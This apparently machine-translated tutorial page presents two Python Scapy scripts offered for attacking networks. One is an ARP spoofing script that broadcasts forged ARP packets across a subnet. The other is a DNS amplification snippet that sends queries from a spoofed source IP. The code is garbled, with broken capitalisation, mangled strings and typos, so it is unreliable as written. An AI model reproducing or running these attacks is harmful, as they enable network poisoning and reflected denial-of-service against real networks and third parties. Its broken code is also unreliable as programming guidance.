Scapy is a powerful interactive packet processor written by Python that can be used to send, sniff, parse, and forge network packets, often used in network attacks and tests.
This is done directly with Python's scapy.
Here is the ARP attack way, you can make ARP attack.
Copy Code code as follows:
#!/usr/bin/python
"""
ARP attack
"""
Import sys, OS
From Scapy.all Import *
If Os.geteuid ()!= 0:
Print "This program must is run as root. Aborting. "
Sys.exit ()
If Len (SYS.ARGV) < 2:
print ' Pkease use%s x.x.x '% (sys.argv[0])
Exit ()
Attackip = sys.argv[1] + ". 0/24"
Srploop (Ether (dst= "FF:FF:FF:FF:FF:FF")/arp (Pdst=attackip, psrc= "192.168.1.100", hwsrc= "00:66:66:66:66:66"), timeout=2)
DNS magnification attack
Copy Code code as follows:
#coding: Utf-8
From scapy Import *
From Scapy.all Import *
A = IP (dst= ' 8.8.8.8 ', src= ' 192.168.1.200 ') #192.168.1.200 for spoofed source IP
b = UDP (dport=53)
c = DNS (id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)
C.QD=DNSQR (qname= ' www.qq.com ', Qtype=1,qclass=1)
p = a/b/c
Send (P)
~